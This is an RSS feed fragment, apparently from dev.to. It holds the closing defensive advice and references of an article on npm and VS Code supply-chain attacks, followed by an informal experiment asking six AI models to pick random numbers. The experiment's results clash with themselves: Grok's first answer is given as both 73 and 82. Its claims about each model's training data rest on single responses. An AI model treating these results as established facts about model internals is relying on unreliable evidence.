&lt;td&gt;Traditional domains&lt;/td&gt;
&lt;td&gt;Decentralized (ICP, IPFS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;Cron jobs, systemd&lt;/td&gt;
&lt;td&gt;Python .pth, VS Code extensions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Propagation&lt;/td&gt;
&lt;td&gt;None / manual&lt;/td&gt;
&lt;td&gt;Self-replicating via publish tokens&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The threat model has inverted. Your datacenter might be hardened. Your developer laptop running VS Code with 40 extensions and auto-update enabled is the attack surface that matters.&lt;/p&gt;

&lt;p&gt;Five Eyes — CISA, NSA, ASD ACSC, CCCS, NCSC-UK, NCSC-NZ — published joint guidance titled &lt;strong&gt;"Careful Adoption of Agentic AI Services"&lt;/strong&gt; on May 1, 2026, covering supply-chain risk for agentic tooling. The timing is not a coincidence.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Architecture Beats Prompts (And Beats Patches Too)
&lt;/h2&gt;

&lt;p&gt;The 18 minutes Nx Console was live. The 6 minutes TanStack was being poisoned across 42 packages. The 3 hours axios was distributing a RAT.&lt;/p&gt;

&lt;p&gt;Detection is reactive. Patching is reactive. Architecture is proactive.&lt;/p&gt;

&lt;p&gt;The developers who weren't hit by these campaigns weren't necessarily smarter or faster. They had:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Explicit npm token scoping (publish only to specific packages)&lt;/li&gt;
&lt;li&gt;Extension allowlisting that blocked unapproved versions&lt;/li&gt;
&lt;li&gt;GitHub Actions with least-privilege permissions from the start&lt;/li&gt;
&lt;li&gt;Developer environments isolated from production credential access&lt;/li&gt;
&lt;li&gt;Minimum-age policies on package installs (block anything published &amp;lt; 48h ago)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The perimeter isn't your datacenter. It's your &lt;code&gt;~/.npmrc&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Resources and References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.ox.security/blog/teampcp-strikes-again-how-a-trojan-vs-code-extension-brought-down-github/" rel="noopener noreferrer"&gt;OX Security: TeamPCP Strikes Again — Nx Console Technical Analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ox.security/blog/teampcps-telnyx-windows-malware-technical-analysis/" rel="noopener noreferrer"&gt;OX Security: TeamPCP's Telnyx Windows Malware Deep Analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wiz.io/blog/mini-shai-hulud-strikes-again-tanstack-more-npm-packages-compromised" rel="noopener noreferrer"&gt;Wiz: Mini Shai-Hulud — TanStack Compromise&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.stepsecurity.io/blog/nx-console-vs-code-extension-compromised" rel="noopener noreferrer"&gt;StepSecurity: Nx Console Compromise Analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem" rel="noopener noreferrer"&gt;StepSecurity: Mini Shai-Hulud Self-Spreading Analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.akamai.com/blog/security-research/mini-shai-hulud-worm-returns-goes-public" rel="noopener noreferrer"&gt;Akamai: Mini Shai-Hulud Returns and Goes Public&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://phoenix.security/sha1-hulud-shai-hulud-worm-analysis-persistence-iocs/" rel="noopener noreferrer"&gt;Phoenix Security: Sha1-Hulud Full Technical Dissection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://unit42.paloaltonetworks.com/monitoring-npm-supply-chain-attacks/" rel="noopener noreferrer"&gt;Palo Alto Unit 42: npm Threat Landscape (Updated May 2026)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" rel="noopener noreferrer"&gt;CISA KEV: CVE-2026-33634&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/advisories" rel="noopener noreferrer"&gt;GitHub Security Advisory: Nx Console&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hackread.com/github-breach-teampcp-repositories-vs-code-extension/" rel="noopener noreferrer"&gt;Hackread: GitHub Breach — TeamPCP Confirmation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.sophos.com/en-us/blog/github-internal-repositories-breached" rel="noopener noreferrer"&gt;Sophos: GitHub Internal Repositories Breached&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Security research compiled from public disclosures, vendor advisories, and independent analysis published through May 20, 2026. Attribution assessments follow Wiz (high confidence), Socket and StepSecurity (medium confidence) published frameworks. IOCs may evolve — treat this as a snapshot, not a definitive indicator list.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;If this helped you understand what actually happened — share it.&lt;/strong&gt; Your colleagues who haven't rotated their npm tokens yet need to read this.&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>javascript</category>
      <category>devops</category>
      <category>security</category>
    </item>
    <item>
      <title>I Asked 6 AIs to Pick a Random Number. Their Training Data Confessed Everything.</title>
      <dc:creator>freerave</dc:creator>
      <pubDate>Wed, 13 May 2026 18:40:15 +0000</pubDate>
      <link>https://dev.to/freerave/i-asked-6-ais-to-pick-a-random-number-their-training-data-confessed-everything-1516</link>
      <guid>https://dev.to/freerave/i-asked-6-ais-to-pick-a-random-number-their-training-data-confessed-everything-1516</guid>
      <description>&lt;h2&gt;
  
  
  An OSINT-style experiment exposing how LLMs pick 'random' numbers — and what their thought process reveals about their training data.
&lt;/h2&gt;

&lt;p&gt;You've seen the trend. Someone asks an AI: &lt;em&gt;"Pick a random number between 1 and 100."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;It says &lt;strong&gt;73&lt;/strong&gt;. Or &lt;strong&gt;42&lt;/strong&gt;. Every time.&lt;/p&gt;

&lt;p&gt;Funny meme, right? Wrong. That's a &lt;strong&gt;training data fingerprint&lt;/strong&gt; — and if you know how to read it, you can profile an AI's dataset like an OSINT analyst profiles a target.&lt;/p&gt;

&lt;p&gt;I ran the experiment properly. 6 models. 3 different prompts. Documented every response — including the thought process.&lt;/p&gt;

&lt;p&gt;Here's what I found.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Setup
&lt;/h2&gt;

&lt;p&gt;Three rounds, same 6 models:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Who built it&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude Sonnet 4.6&lt;/td&gt;
&lt;td&gt;Anthropic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini Pro&lt;/td&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copilot&lt;/td&gt;
&lt;td&gt;Microsoft / OpenAI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DeepSeek&lt;/td&gt;
&lt;td&gt;DeepSeek AI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GLM-5.1&lt;/td&gt;
&lt;td&gt;Zhipu AI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grok&lt;/td&gt;
&lt;td&gt;xAI&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Round 1 — Neutral prompt:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Pick a random number between 1 and 100.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Round 2 — Developer context:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;I'm a backend developer testing an RNG function.
Pick a random number between 1 and 100.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Round 3 — Anti-bias prompt:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Pick a random number between 1 and 100.
Avoid common human biases and don't pick numbers
that feel "more random" than others.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Round 1: The Baseline
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Number&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude Sonnet 4.6&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;42&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;42&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copilot&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;73&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DeepSeek&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;42&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GLM-5.1&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;42&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grok&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;73&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Four out of six said &lt;strong&gt;42&lt;/strong&gt;. Two said &lt;strong&gt;73&lt;/strong&gt;. Zero picked anything else.&lt;/p&gt;

&lt;p&gt;This isn't a coincidence. This is &lt;strong&gt;statistical bias encoded in training data&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The split itself tells a story:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;42&lt;/strong&gt; = &lt;em&gt;The Hitchhiker's Guide to the Galaxy&lt;/em&gt; — beloved by developers, engineers, and tech communities. Heavy representation in developer forums, GitHub READMEs, Stack Overflow jokes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;73&lt;/strong&gt; = Sheldon Cooper's "best number" from &lt;em&gt;The Big Bang Theory&lt;/em&gt; — massive mainstream internet reach, viral meme status.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The models trained on &lt;strong&gt;developer-heavy data&lt;/strong&gt; picked 42. The models with &lt;strong&gt;broader internet exposure&lt;/strong&gt; picked 73.&lt;/p&gt;

&lt;p&gt;You just did OSINT on their training datasets without touching a single file.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;[+] Expand Raw Logs: Round 1 (All 6 Models)&lt;/b&gt;&lt;br&gt;
  &lt;br&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9zidpiygja1ye1a7bi07.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9zidpiygja1ye1a7bi07.png" alt="Screenshot of Gemini responding with the number 42, reflecting developer culture bias" width="800" height="189"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffxbddi1aabddf2lrtyoq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffxbddi1aabddf2lrtyoq.png" alt="Screenshot of Claude Sonnet 4.6 responding with the number 42" width="800" height="242"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6cwh02mru2erz0gvk140.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6cwh02mru2erz0gvk140.png" alt="Screenshot of Copilot selecting 73, showing mainstream internet meme bias" width="800" height="166"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqk5ohws7pe2i5k6b3pr7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqk5ohws7pe2i5k6b3pr7.png" alt="Screenshot of Grok displaying 82 and utilizing Python's random.randint function" width="800" height="301"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmzawdfba2zdhzlternr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmzawdfba2zdhzlternr.png" alt="Screenshot of GLM-5.1 thought process generating the number 42" width="800" height="175"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Femwpcj6zl9g5j2muvcxi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Femwpcj6zl9g5j2muvcxi.png" alt="Screenshot of DeepSeek AI thought process concluding with the number 42" width="800" height="231"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Round 2: Context Shifts the Probability Mass
&lt;/h2&gt;

&lt;p&gt;Adding "I'm a backend developer testing an RNG function" — watch what happens:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Round 1&lt;/th&gt;
&lt;th&gt;Round 2&lt;/th&gt;
&lt;th&gt;Shifted?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;47&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;73&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ reversed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copilot&lt;/td&gt;
&lt;td&gt;73&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;47&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DeepSeek&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;42&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GLM-5.1&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;82&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grok&lt;/td&gt;
&lt;td&gt;73&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;64&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ → Power of 2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Grok is the most interesting here.&lt;/strong&gt; The moment you mention backend development, it shifted to &lt;strong&gt;64&lt;/strong&gt; — a power of 2. That's not random. That's &lt;code&gt;2^6&lt;/code&gt;. Grok's training data associated "backend developer + random number" with cryptographic key sizes and memory addressing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DeepSeek didn't move at all.&lt;/strong&gt; Still 42. The developer context wasn't strong enough to override its default token probability path.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;[+] Expand Raw Logs: Round 2 (Developer Context)&lt;/b&gt;&lt;br&gt;
  &lt;br&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ea8wi3j04tlsubzqwbu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ea8wi3j04tlsubzqwbu.png" alt="Screenshot of Gemini shifting its random number choice to 73 after receiving backend developer context" width="800" height="268"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxbij10klyd4vmy8ybtn3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxbij10klyd4vmy8ybtn3.png" alt="Screenshot of Claude Sonnet 4.6 changing its output to 47 when prompted as a backend developer" width="800" height="242"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Farcgh6q2e8i207wro5cw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Farcgh6q2e8i207wro5cw.png" alt="Screenshot of Grok shifting its response to 64 (a power of 2) reflecting cryptographic context" width="800" height="368"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi32ti6353o3z08vjbhfx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi32ti6353o3z08vjbhfx.png" alt="Screenshot of Copilot adjusting its random number selection to 47 based on the developer prompt" width="800" height="204"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftremfxew404o82665jdx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftremfxew404o82665jdx.png" alt="Screenshot of GLM-5.1 thought process showing it ultimately outputting 82 after evaluating developer context" width="800" height="529"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fle2grdouppejogsabbs3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fle2grdouppejogsabbs3.png" alt="Screenshot of DeepSeek AI maintaining the number 42 despite the backend developer context" width="800" height="254"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Round 3: The Smoking Guns
&lt;/h2&gt;

&lt;p&gt;This is where it gets dark.&lt;/p&gt;

&lt;p&gt;The anti-bias prompt asked every model to &lt;em&gt;consciously avoid&lt;/em&gt; picking numbers that "feel more random." The thought processes (for models that expose them) revealed everything.&lt;/p&gt;

&lt;h3&gt;
  
  
  GLM-5.1's Thought Process — Read This Carefully
&lt;/h3&gt;

&lt;p&gt;GLM showed its full reasoning. Here are the actual steps it went through:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Let's pick 42 — classic dev joke... Wait, 42 is the Hitchhiker's Guide joke number. **Huge bias.&lt;/em&gt;&lt;em&gt;"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"Let's pick 73 (Sheldon Cooper's favorite)... Or 87... Let's go with 73. Or maybe 54..."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"84 is George Orwell. **Too notable.&lt;/em&gt;&lt;em&gt;"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"22 has repeating digits, humans might subconsciously avoid it because it feels 'patterned.'"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"82 is good. 82 is good. **Let's output 82.&lt;/em&gt;&lt;em&gt;"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The model was doing &lt;strong&gt;OSINT on itself&lt;/strong&gt; in real-time — and still couldn't escape. Every number it considered had cultural baggage attached. 42 = Hitchhiker. 73 = Sheldon. 84 = 1984. It had to actively rule out the bias-contaminated options one by one.&lt;/p&gt;

&lt;h3&gt;
  
  
  DeepSeek Built an Algorithm in Its Head
&lt;/h3&gt;

&lt;p&gt;DeepSeek took a different approach entirely. Instead of picking from memory, it constructed a &lt;strong&gt;Linear Congruential Generator&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;X₀ = 12345
X₁ = (1103515245 × X₀ + 12345) mod 2³¹
12345 mod 100 + 1 = 46
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output: &lt;strong&gt;46&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That's the only model that actually tried to &lt;em&gt;compute&lt;/em&gt; its way out of bias rather than &lt;em&gt;reason&lt;/em&gt; its way out. Whether the math is correct is almost beside the point — the behavior is fascinating.&lt;/p&gt;

&lt;h3&gt;
  
  
  Claude — Told to Avoid Bias, Still Said 42
&lt;/h3&gt;

&lt;p&gt;Anti-bias prompt. Explicit instruction. &lt;strong&gt;Still 42.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's not a bug. That's a demonstration that &lt;strong&gt;bias lives deeper than the prompt layer&lt;/strong&gt;. You cannot instruction-engineer your way out of what's baked into the weights.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;[+] Expand Raw Logs: Round 3 (Anti-Bias Prompts)&lt;/b&gt;&lt;br&gt;
  &lt;br&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkfd3ez0ly8cucnt1s6so.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkfd3ez0ly8cucnt1s6so.png" alt="Screenshot of Gemini explicitly avoiding prime numbers like 37 and 73 in response to the anti-bias prompt" width="800" height="289"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyghc3rpln7hvrc2nmx60.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyghc3rpln7hvrc2nmx60.png" alt="Screenshot of Claude Sonnet 4.6 still outputting 42 despite explicit instructions to avoid common human biases" width="800" height="261"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2aoifr2iyio5j6788gjm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2aoifr2iyio5j6788gjm.png" alt="Screenshot of Grok utilizing Python's random module to output 41, bypassing token prediction biases" width="800" height="386"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu7g1vl2ql7c04zribt9i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu7g1vl2ql7c04zribt9i.png" alt="Screenshot of Copilot selecting 58, claiming uniform randomness to avoid human bias" width="800" height="199"&gt;&lt;/a&gt;&lt;/p&gt;

